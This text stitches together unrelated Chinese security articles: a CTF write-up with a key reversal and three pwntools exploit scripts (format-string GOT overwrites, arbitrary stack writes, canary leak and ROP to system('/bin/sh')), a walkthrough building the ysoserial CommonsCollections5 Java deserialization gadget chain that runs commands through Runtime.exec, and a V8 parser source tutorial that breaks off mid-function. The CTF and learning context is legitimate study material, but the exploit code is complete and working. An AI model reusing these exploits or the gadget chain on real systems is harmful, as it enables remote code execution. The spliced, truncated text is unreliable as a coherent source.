malware_engine: ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=bd4ff12ea3e93b1a1767f42004eecb743bcaacf7, stripped
不过还是拿出了qemu+IDA+Ghidra的组合拳开始一路调试和理解
利用Ghidra反编译成伪源码查看，在0x10001ef0(enter_key)中发现 **3处动态调用** ，调用后的结果直接影响最后输出是Key is
valid还是程序自爆。
undefined4 enter_key(void)
{
code **ppcVar1;
int iVar2;
code *pcVar3;
undefined4 uVar4;
undefined auStack124 [24];
undefined auStack100 [24];
undefined auStack76 [24];
undefined auStack52 [36];
FUN_1002aca0(auStack52);
print(&DAT_101e1c9c,"[?] Enter the key: ");
getinput(&DAT_101e1af4,auStack52);
ppcVar1 = (code **)FUN_10007420(0x10);
FUN_10000f18(ppcVar1,0x539);
pcVar3 = *(code **)*ppcVar1;
iVar2 = (*pcVar3)(ppcVar1,auStack76); /* 第一次动态调用 */
FUN_1002ae80(auStack76);
if (iVar2 != 0) {
ppcVar1 = (code **)FUN_10007420(0x1c);
FUN_1000137c(ppcVar1,0x53a);
pcVar3 = *(code **)*ppcVar1;
FUN_1002f710(auStack100,auStack52);
iVar2 = (*pcVar3)(ppcVar1,auStack100); /* 第二次动态调用 */
FUN_1002ae80(auStack100);
if (iVar2 != 0) {
ppcVar1 = (code **)FUN_10007420(0x28);
FUN_10001720(ppcVar1,0x53b);
pcVar3 = *(code **)*ppcVar1;
FUN_1002f710(auStack124,auStack52);
iVar2 = (*pcVar3)(ppcVar1,auStack124); /* 第三次动态调用 */
FUN_1002ae80(auStack124);
if (iVar2 != 0) {
uVar4 = 1; /* 要求返回1 */
goto LAB_100020a4;
}
}
}
uVar4 = 0;
LAB_100020a4:
FUN_1002ae80(auStack52);
return uVar4;
}
根据动态调试，这3处动态调用如下，逐一分析调用
* 10001028 命名为 dynamic_func
* 100014b4 命名为 dynamic_func2
* 10001ac8 命名为 dynamic_func3
**第一次动态调用（dynamic_func）**
取出0、4、8、12（每间隔4位）的输入，与目标值进行运算比较，都是单个字符进行运算
提取目标值，并且用python进行运算
result = [ord('*')]*len(arr)
result[0] = arr[0] - 0x28
result[4] = (((arr[4] - 0x17 ^ 0x11) + 9)>>1 ^ 0x4f)-0x19
result[8] = arr[8]/2 - 6
result[12] = (arr[12] + 0x14)
result[16] = arr[16] ^ 0x4f
result[20] = (arr[20] >> 2)*2 + 3
result[24] = (arr[24] - 0x14 )/3
result[28] = (arr[28] - 0xe ) ^ 0x58
print "result","".join([chr(k&0xff) for k in result])
得出
result 0***7***e***c***b***c***8***5***
**第二次动态调用（dynamic_func2）**
调用了4次，但是每次是将8个字符（如0-7,8-15等）传入函数calcSum算出一个值，与目标常量进行比较
可以想到目前对于输入已知位数太少，这里传入8位必然有很多多解（爆破空间也太大），所以先跳过这里，等对输入位知道更多以后再回来看。
**第三次动态调用（dynamic_func3）**
跳过第二次调用，进入dynamic_func3来看。在Ghidra中，看到恢复的源码很复杂，到底哪个数与哪个数异或，右移？
但是动态调试就很清晰
* 对于函数10002724，R3、R4、R5是输入，R3是取奇数位输入（input[1]、input[3]、input[5]等等）；R4是每4轮变一次的常量，一开始是0x201b，然后是0x201c；R5是固定值0x3966d59。
* 对于函数100027f4，则是与计算与输入无关的常量
* 程序比较两者结果的值
动态提取这些常量，进行正向爆破
arr = [i.split(" ") for i in """
0x201b 0x01148455
0x201b 0x0287099D
0x201b 0x021CE200
0x201b 0x01148455
0x201c 0x01D199F2
0x201c 0x02F159E9
0x201c 0x00F1EFDA
0x201c 0x01714D3C
0x2019 0x026A8FFF
0x2019 0x01BC8A83
0x2019 0x00D0991B
0x2019 0x005FD57A
0x201a 0x011F7280
0x201a 0x00099D6F
0x201a 0x008629E4
0x201a 0x012F42EB
""".split("n") if i!='']
for i in range(len(arr)):
ix = 2*i + 1
target = int(arr[i][1],16)
param2 = int(arr[i][0],16)
for j in range(32,128):
t = FUN_10002724(j,param2,0x3966d59)
if t == target:
result[ix] = j
break
print "result","".join([chr(k&0xff) for k in result])
计算后结果为
result 0e*c7d*ee8*ec3*7ba*ec1*489*b57*6
现在只剩个别位字符未知了，可以回去爆破第二次动态调用（dynamic_func2）
target2 = [int(i,16) for i in """
0xB76D
0x5650
0x7F17
0xF06E
""".split("n") if i!='']
for i in range(4):
s = result[i*8:i*8+8]
for x in "1234567890abcdef":
for y in "1234567890abcdef":
s[2] = ord(x)
s[6] = ord(y)
t = calcSum(s+[0],8)
if t == target2[i]:
result[i*8+2] = s[2]
result[i*8+6] = s[6]
print "result","".join([chr(k&0xff) for k in result])
得到
result 0e1c7d9ee8eec3e7bafec18489eb5766
## PWN
### navigation system
输入用户名和密码，经过getOTPcode函数生成随机码
unsigned int __cdecl genOTPcode(char *a1, char *a2)
{
time_t v2; // eax
unsigned int v3; // eax
v2 = time(0);
srand(*a2 + *a1 + v2);
v3 = rand();
return v3 + (v3 >= 0xFFFFFFFF);
}
在setStation函数中有printf格式化字符串漏洞
unsigned int setStation()
{
char buf[32]; // [esp+Ch] [ebp-2Ch]
unsigned int v2; // [esp+2Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
printf("Set station > ");
fflush(stdout);
buf[read(0, buf, 0x20u)] = 0; // off by one
printf("Station: ");
printf(buf); // printf 漏洞
putchar(10);
return __readgsdword(0x14u) ^ v2;
}
解题思路
* 指定种子的随机数生成
* printf格式化字符串漏洞，长度限制时逐字节修改
* 修改exit[@got](https://github.com/got "@got")为main获得再次输入
* 修改strcmp[@got](https://github.com/got "@got")为system[@plt](https://github.com/plt "@plt")
解题脚本
#!/usr/bin/env python2
# -*- coding:utf8 -*-
import struct
from pwn import *
from pwnlib.util.proc import wait_for_debugger
local = len(sys.argv) == 2
elf = ELF(sys.argv[1])
if local:
io = process(sys.argv[1])
libc = ELF("/lib/i386-linux-gnu/libc.so.6") #32bit
def set_station(content):
io.sendlineafter("> ","2")
io.sendlineafter("Set station > ",content)
NAME = "test_account"
PASS = "test_password"
io.sendlineafter("Login: ",NAME)
io.sendlineafter("Password: ",PASS)
seedproc = process(argv=["./test",NAME,PASS])
content = seedproc.recvall()
arr = [int(i) for i in content.split("n") if i!='']
io.sendlineafter("code: ",str(arr[0]))
# printf update exit@got->main
# read(0,0x20...) not enough length
def fmt_change(got_addr,target):
ts = p32(target)
for i in range(4):
num = "%"+str(ord(ts[i]))+"c" if ord(ts[i]) > 0 else ""
payload = (num + "%10$hhn").ljust(12,'a') + p32(got_addr+i)
set_station(payload)
#change exit@got -> main
exit_got = elf.got["exit"]
main_addr = elf.symbols["main"]
fmt_change(exit_got,main_addr)
#change strcmp@got -> system@plt
strcmp_got = elf.got["strcmp"]
system_plt = elf.plt["system"]
fmt_change(strcmp_got,system_plt)
#trigger exit
io.sendlineafter("> ","4")
io.sendlineafter("Login: ","/bin/sh")
io.sendlineafter("Password: ","aa")
io.interactive()
### engine script
输入一段code，可以进行栈操作，没有进行边界检查所以可以任意地址读写
void __cdecl proceedOpertaion(char a1)
{
fflush(stdout);
fflush(stdin);
switch ( a1 )
{
case 'a':
++*stack_ptr;
break;
case 'd':
--stack_ptr;
break;
case 'g':
*stack_ptr = getchar();
break;
case 'p':
putchar((char)*stack_ptr);
break;
case 's':
--*stack_ptr;
break;
case 'u':
++stack_ptr;
break;
default:
exit(0xFFFFFAC7);
return;
}
}
套路还是和上题一样
* leak 出got表函数的地址，计算libc.address（没给libc要查找一下）
* 修改exit[@got](https://github.com/got "@got")为main，获得再次输入的机会
* 修改auth=0，strcmp=system[@libc](https://github.com/libc "@libc")，再次进入main
* 输入/bin/sh，用strcmp触发system函数
解题脚本
#!/usr/bin/env python2
# -*- coding:utf8 -*-
import struct
from pwn import *
from pwnlib.util.proc import wait_for_debugger
local = len(sys.argv) == 2
elf = ELF(sys.argv[1])
if local:
io = process(sys.argv[1])
libc = ELF("/lib/i386-linux-gnu/libc.so.6") #32bit
NAME = "admin"
PASS = "password"
io.sendlineafter("Login: ",NAME)
io.sendlineafter("Password: ",PASS)
#stack = 0x804C0A0
#putchar@got = 0x804C03C
#exit@got = 0x804C028
code = 'd'*(0xa0-0x3f)
code += 'p'
code += 'p' #print putchar@got
code += 'd'
code += 'p' #print putchar@got
code += 'd'
code += 'p' #print putchar@got
code += 'd'
code += 'p' #print putchar@got 0x3c
code += 'd'*(0x3c - 0x2b)
# code += 'g'
code += 'd'
code += 'g' #莫名其妙多了个n，多输入一次
code += 'g' #write exit@got -> main
code += 'd'
code += 'g' #write exit@got -> main
code += 'd'
code += 'g' #write exit@got -> main
code += 'x' #trigger exit()
io.sendafter("Input your code here: ",code)
print hex(libc.symbols["putchar"])
#第一次调用putchar，让putchar@got=putchar@libc
io.recv(1)
c = ''
c += io.recv(1)
c += io.recv(1)
c += io.recv(1)
c += io.recv(1)
putchar_addr = u32(c[::-1])
success("putchar_addr : %x"%putchar_addr)
libc.address = putchar_addr - libc.symbols["putchar"]
success("libc.address : %x"%libc.address)
#exit未触发，最高位是08不用修改
time.sleep(1)
main_addr = 0x8049222
io.send('x04')
io.send('x92')
io.send('x22')
#stack = 0x804C0A0
#auth = 0x804C064
#strcmp@got = 0x804C00C
code = 'd'*(0xa0-0x64)
code += 'g' #write auth = 0
code += 'd'*(0x64 - 0x0f)
code += 'g' #write strcmp@got -> system
code += 'd'
code += 'g' #write strcmp@got -> system
code += 'd'
code += 'g' #write strcmp@got -> system
code += 'd'
code += 'g' #write strcmp@got -> system
code += 'x' #trigger exit() back to main
io.sendafter("Input your code here: ",code)
time.sleep(1)
io.send('x00') #reset auth
system_addr = p32(libc.symbols["system"])
success("system@libc :%x"%libc.symbols["system"])
for i in range(4):
io.send(system_addr[4-1-i]) #reset auth
io.sendlineafter("Login: ","/bin/sh")
io.sendlineafter("Password: ","aaa")
io.interactive()
### remote storage
stripped，没给符号，但是发现是static linked，说明system和/bin/sh都在elf中
anic@ubuntu:~/ctfsample/aeroctf/pwn3$ file storage
storage: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=601158bdf08a8379f6b7cbe803dd1bf99bfa7e35, stripped
anic@ubuntu:~/ctfsample/aeroctf/pwn3$ checksec storage
[*] '/mnt/hgfs/ctfsample/aeroctf/pwn3/storage'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
虽然checksec说没有canary，但是实际运行发现是有canary的
没有符号，重命名函数的过程比较痛苦，主要考猜，如fread啊、fopen、printf和puts之类。期待大佬们有更好的方法，请告知。
在signfile函数，有一个格式化字符串漏洞，一开始以为是签名后的内容，后面发现是filehash和signer的异或结果，可以控制输出cannary
printf("%02x", (unsigned __int8)v11[j]);
v7 = strlen(v10);
for ( k = 0; k <= 15; ++k )
a1[k] = v10[k % v7] ^ v11[k]; // use xor to sign
printf("nFile sign: ");
printf(a1); // format bug
putchar(0xAu);
result = unknown_func(off_80F84B8);
}
else
{
puts("[-] Error in file open!");
puts("[-] Sign error!");
另一个漏洞点是addfileinfo函数，read长度越界
char v11[128]; // [esp+BCh] [ebp-18Ch]
char v12[256]; // [esp+13Ch] [ebp-10Ch]
unsigned int v13; // [esp+23Ch] [ebp-Ch]
v13 = __readgsdword(0x14u);
sub_8049088((int)v10, 0, 128);
...
v11[v6] = 0; // off by one
fputs(v11, fd);
}
printf("Enter the file owner name: ");
unknown_func(off_80F84B8);
v7 = read(0, v12, 0x200u); // overflow
//
if ( v7 > 0 )
{
v12[v7] = 0;
fputs(v12, fd);
}
fclose(fd);
}
结合上面获得的canary和静态编译到elf的system、binsh，来一波rop进行getshell
#!/usr/bin/env python2
# -*- coding:utf8 -*-
import struct
from pwn import *
from pwnlib.util.proc import wait_for_debugger
local = len(sys.argv) == 2
elf = ELF(sys.argv[1])
if local:
io = process(sys.argv[1])
libc = ELF("/lib/i386-linux-gnu/libc.so.6") #32bit
def uploadfile(name,content):
io.sendlineafter("> ","2")
io.sendlineafter("filename: ",name)
io.sendlineafter("file data: ",content)
def addfileInfo(filename,name,date,name2):
io.sendlineafter("> ","5")
io.sendlineafter("filename: ",filename)
io.sendafter("owner name: ",name)
io.sendafter("create date: ",date)
io.sendafter("owner name: ",name2)
def viewfileInfo(filename):
io.sendlineafter("> ","6")
io.sendlineafter("filename: ",filename)
def signfile(filename,signer):
io.sendlineafter("> ","4")
io.sendlineafter("filename: ",filename)
io.sendlineafter("signer name: ",signer)
def get_signer(hash,target):
result = ""
for i in range(len(target)):
t = ord(target[i]) ^ ord(hash[i])
result += chr(t)
return result
NAME = "admin"
PASS = "admin"
io.sendlineafter("Login: ",NAME)
io.sendlineafter("Password: ",PASS)
uploadfile("aaa","bbb")
filehash = 'b8694d827c0f13f22ed3bc610c19ec15'.decode("hex")
targethash = '.zz%195$p..x00'
signer = get_signer(filehash,targethash)
success("signer : %s"%signer)
signfile("aaa",signer.ljust(16,'a'))
#get cannary
io.recvuntil("zz")
cannary = int(io.recvuntil("..",drop=True),16)
success("cannary : %x"%cannary)
#rop to system
system_addr = 0x8052CF0
bin_sh = 0x80C7B8C
payload = "e"*(256) + p32(cannary) + p32(0xabcdef)*3 + p32(system_addr) + p32(0xfedcba) + p32(bin_sh)
addfileInfo("aaa","ccc","ddd", payload)
io.interactive()
## 小结
* 逆向比较有特色，pwn的题目相对简单
* qemu+IDA+Ghidra组合拳出乎意料的好用 | 社区文章 |
# Referer
<https://y4er.com/post/ysoserial-commonscollections-5/>
<https://www.jianshu.com/p/d4954c691d09>
<https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java>
<https://www.freebuf.com/news/150872.html>
# 环境搭建
idea创建一个maven项目，在pom.xml文件中加入commons-collections依赖。
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>ysoserialPayload</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
</project>
创建package`payload`
创建java文件`CommonsCollections5`写测试代码
package payload;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class CommonsCollections5 {
public static void main(String[] args) {
deserialize();
}
public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void deserialize() {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
下载`ysoserial`
<https://github.com/frohoff/ysoserial>
mvn clean package -DskipTests
ubuntu gnome 测试
> 打开计算器命令为gnome-calculator
生成payload
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 gnome-calculator > test.ser
将`test.ser`放到项目根目录
运行`CommonsCollections5.java`的main方法，成功弹出计算器
# java 的执行系统命令
## Runtime模块
import java.io.IOException;
public class hello {
public static void main(String[] args) throws IOException {
String [] cmd={"/bin/sh","-c","curl localhost:9999"};
Process proc = Runtime.getRuntime().exec(cmd);
}
}
## 反射链使用
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class world {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Method method = Animal.class.getDeclaredMethod("print");
Animal aa = new Animal();
method.invoke(aa);
}
}
class Animal {
public void print() {
System.out.println("Animal.print()");
}
}
## 反射链调用Runtime执行命令
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class test {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
Class cls = runtime.getClass();
Method method = cls.getMethod("exec",String.class);
method.invoke(runtime,"gnome-calculator");
}
}
可以执行两次反射
public class test2 {
public static void main(String[] args) throws Exception {
Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);
Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"gnome-calendar");
}
}
> getMethod("方法","方法类型");invoke("对象实例"，"参数");
# Payload 构造
然后看
`org.apache.commons.collections.functors.InvokerTransformer`
`transform`方法
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
可以看到
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
`getClass` 有了，`getMethod` 有了，`invoke`有了
我们需要将`input`设置为`Runtime.getRuntime()`
`this.iMethodName`设置为exec，this.iArgs设置为要执行的命令
尝试一下
package payload;
import org.apache.commons.collections.functors.InvokerTransformer;
public class test {
public static void main(String[] args) {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("gnome-calculator")});
Object result = invokerTransformer.transform(Runtime.getRuntime());
}
}
ubuntu18成功弹出了计算器
我们需要构造
> (Runtime) Runtime.class.getMethod("getRuntime").invoke(null).exec("gnome-> calculator")Runtime.class 需要用ConstantTransformer来获取
可以看到`runtime`就是Runtime对象类型
`InvokerTransformer`按照
> InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)
格式构造
getMethod方法文档
<https://docs.oracle.com/javase/8/docs/api/java/lang/Class.html>
参数为`String.class`和`Class[].class`,由参数类型决定
来试试构造反射链(引用包省略了)
首先获取Runtime
//获取Runtime
Object first = new ConstantTransformer(Runtime.class).transform(new Class[]{});
用反射让其执行`getRuntime`
//给this.iMethodName this.iParamTypes this.iArgs赋值
InvokerTransformer tran1 = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null});
//执行反射方法
Method run = (Method) invokerTransformer.transform(first);
invoke
> invoke（Object obj,Object...args）
InvokerTransformer tran2 = new InvokerTransformer("invoke", new Class[]{Class[].class, Class[].class}, new Object[]{null, null});
//执行反射方法
Runtime run = (Runtime) invokerTransformer.transform(first);
最后反射执行`exec("gnome-calculator")`
InvokerTransformer tran1 = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"gnome-calculator"});
完整就是
public class test3 {
public static void main(String[] args) throws Exception {
Object first = new ConstantTransformer(Runtime.class).transform(new Class[]{});
InvokerTransformer tran1 = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null});
Method run = (Method) tran1.transform(first);
InvokerTransformer tran2 = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null});
Runtime run2 = (Runtime) tran2.transform(run);
InvokerTransformer tran3 = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"gnome-calculator"});
tran3.transform(run2);
}
}
我们这里序列化了`InvokerTransformer`类，但是需要继续执行他的`transform`方法，于是需要`ChainedTransformer`的transform
# ChainedTransformer
关键代码
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
这里将`this.iTransformers`的每一组元素都执行了`transform`方法，我们只需将`this.iTransformers`的每一项都设置为`InvokerTransformer`就可以了，最后再把`ChainedTransformer`对象执行一下`transform`方法
public class test3 {
public static void main(String[] args) throws Exception {
Object first = new ConstantTransformer(Runtime.class).transform(new Class[]{});
InvokerTransformer tran1 = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null});
Method run = (Method) tran1.transform(first);
InvokerTransformer tran2 = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null});
Runtime run2 = (Runtime) tran2.transform(run);
InvokerTransformer tran3 = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"gnome-calculator"});
tran3.transform(run2);
}
}
成了
为了反序列化之后直接触发这一系列操作，链最开始的类要有一个`readObject`方法，这样才能重写了反序列化的`readObject`方法,接着继续寻找调用`transform`
`org.apache.commons.collections.map.LazyMap`
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
寻找执行`get`方法
`org.apache.commons.collections.keyvalue.TiedMapEntry`
public Object getValue() {
return this.map.get(this.key);
}
public String toString() {
return this.getKey() + "=" + this.getValue();
}
>
> getValue调用了get方法，toString又调用了getValue方法，正好BadAttributeValueExpException类重写了readObject，并且readObject执行了toString方法
public String toString() {
return "BadAttributeValueException: " + val;
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
继续接上面构造
`LazyMap` 的`this.factory`设置为`ChainedTransformer`对象
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
`decorate`第一个参数需要`Map`类型，网上找了一下都是`new
HashMap();`,第二个参数是`Transformer`，也就是之前的`chain`
Map map = new HashMap();
Map lazymap = LazyMap.decorate(map, chain);
接着将`TiedMapEntry`中的`this.map`设置为`lazymap`
`TiedMapEntry`
TiedMapEntry entry = new TiedMapEntry(lazyMap,null);
接着设置`BadAttributeValueExpException`中的`val`为`entry`利用反射设置`private`参考<https://blog.csdn.net/mrlixirong/article/details/6759715>
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("name");
field.setAccessible(true);
field.set(badAttributeValueExpException,entry);
完整的代码
package payload;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class buildser {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"gnome-calculator"})
};
Transformer chain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap,null);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,entry);
serialize(badAttributeValueExpException);
}
public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void deserialize() {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
# 总结
因为java基础太差了，分析的很慢，接下来想分析fastjson和`CVE-2020-2555`和`2551`来提高java审计水平 | 社区文章 |
# 连载《Chrome V8 原理讲解》第五篇 V8语法分析器源码讲解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.摘要
本次是第五篇，剖析V8语法分析(parser)的源码和工作流程，讲解V8语法分析的核心源码、主要工作流程以及重要数据结构。本文将沿用第四篇文章的“测试样例代码”。
## 2.语法分析概述
语法分析是词法分析（scanner）的下一阶段，词法分析输出（out）的token字是语法分析的输入(in)，语法分析在工作时会频繁使用词法分析器生成token。本文把词法分析器当作黑盒功能使用，直接给出词法分析的token字结果，词法分析器原理参见第四篇文章。
## 3.源码分析
以`function`和`JsPrint`为例详细剖析V8语法分析器的实现原理，从语法分析器的入口函数`DoParseProgram()`入手做起，讲解用户自义函数JsPrint的语法分析过程，之后对延迟分析技术(parse
lazily)进行说明。
### 3.1 语法分析
下面这段代码是语法分析的入口函数。
FunctionLiteral* Parser::DoParseProgram(Isolate* isolate, ParseInfo* info) {
DCHECK_EQ(parsing_on_main_thread_, isolate != nullptr);
DCHECK_NULL(scope_);
ParsingModeScope mode(this, allow_lazy_ ? PARSE_LAZILY : PARSE_EAGERLY);
ResetFunctionLiteralId();
FunctionLiteral* result = nullptr;
{
Scope* outer = original_scope_;
DCHECK_NOT_NULL(outer);
if (flags().is_eval()) {
outer = NewEvalScope(outer);
} else if (flags().is_module()) {
DCHECK_EQ(outer, info->script_scope());
outer = NewModuleScope(info->script_scope());
}
DeclarationScope* scope = outer->AsDeclarationScope();
scope->set_start_position(0);
FunctionState function_state(&function_state_, &scope_, scope);
ScopedPtrList<Statement> body(pointer_buffer());
int beg_pos = scanner()->location().beg_pos;
if (flags().is_module()) {
DCHECK(flags().is_module());
PrepareGeneratorVariables();
Expression* initial_yield =
BuildInitialYield(kNoSourcePosition, kGeneratorFunction);
body.Add(
factory()->NewExpressionStatement(initial_yield, kNoSourcePosition));
if (flags().allow_harmony_top_level_await()) {
BlockT block = impl()->NullBlock();
{
StatementListT statements(pointer_buffer());
ParseModuleItemList(&statements);
if (function_state.suspend_count() > 1) {
scope->set_is_async_module();
block = factory()->NewBlock(true, statements);
} else {
statements.MergeInto(&body);
}
}
if (IsAsyncModule(scope->function_kind())) {
impl()->RewriteAsyncFunctionBody(
&body, block, factory()->NewUndefinedLiteral(kNoSourcePosition));
}
} else {
ParseModuleItemList(&body);
}
if (!has_error() &&
!module()->Validate(this->scope()->AsModuleScope(),
pending_error_handler(), zone())) {
scanner()->set_parser_error();
}
} else if (info->is_wrapped_as_function()) {
DCHECK(parsing_on_main_thread_);
ParseWrapped(isolate, info, &body, scope, zone());
} else if (flags().is_repl_mode()) {
ParseREPLProgram(info, &body, scope);
} else {
this->scope()->SetLanguageMode(info->language_mode());
ParseStatementList(&body, Token::EOS);
}
scope->set_end_position(peek_position());
if (is_strict(language_mode())) {
CheckStrictOctalLiteral(beg_pos, end_position());
}
if (is_sloppy(language_mode())) {
InsertSloppyBlockFunctionVarBindings(scope);
}
if (flags().is_eval()) {
DCHECK(parsing_on_main_thread_);
info->ast_value_factory()->Internalize(isolate);
}
CheckConflictingVarDeclarations(scope);
if (flags().parse_restriction() == ONLY_SINGLE_FUNCTION_LITERAL) {
if (body.length() != 1 || !body.at(0)->IsExpressionStatement() ||
!body.at(0)
->AsExpressionStatement()
->expression()
->IsFunctionLiteral()) {
ReportMessage(MessageTemplate::kSingleFunctionLiteral);
}
}
int parameter_count = 0;
result = factory()->NewScriptOrEvalFunctionLiteral(
scope, body, function_state.expected_property_count(), parameter_count);
result->set_suspend_count(function_state.suspend_count());
}
info->set_max_function_literal_id(GetLastFunctionLiteralId());
if (has_error()) return nullptr;
RecordFunctionLiteralSourceRange(result);
return result;
}
`DoParseProgram()`是语法分析的开始，`FunctionLiteral* result =
nullptr;`这条语句定义了一个`result`,它是语法分析结束时生成的抽象语法树(AST)，`result`目前为空值，`DoParseProgram()`执行完，AST也就生成了。调试样例代码，进入下面这个方法。
void ParserBase<Impl>::ParseStatementList(StatementListT* body,
Token::Value end_token) {
DCHECK_NOT_NULL(body);
while (peek() == Token::STRING) {
bool use_strict = false;
#if V8_ENABLE_WEBASSEMBLY
bool use_asm = false;
#endif // V8_ENABLE_WEBASSEMBLY
Scanner::Location token_loc = scanner()->peek_location();
if (scanner()->NextLiteralExactlyEquals("use strict")) {
use_strict = true;
#if V8_ENABLE_WEBASSEMBLY
} else if (scanner()->NextLiteralExactlyEquals("use asm")) {
use_asm = true;
#endif // V8_ENABLE_WEBASSEMBLY
}
StatementT stat = ParseStatementListItem();
if (impl()->IsNull(stat)) return;
body->Add(stat);
if (!impl()->IsStringLiteral(stat)) break;
if (use_strict) {
RaiseLanguageMode(LanguageMode::kStrict);
if (!scope()->HasSimpleParameters()) {
impl()->ReportMessageAt(token_loc,
MessageTemplate::kIllegalLanguageModeDirective,
"use strict");
return;
}
#if V8_ENABLE_WEBASSEMBLY
} else if (use_asm) {
impl()->SetAsmModule();
#endif // V8_ENABLE_WEBASSEMBLY
} else {
RaiseLanguageMode(LanguageMode::kSloppy);
}
}
while (peek() != end_token) {
StatementT stat = ParseStatementListItem();
if (impl()->IsNull(stat)) return;
if (stat->IsEmptyStatement()) continue;
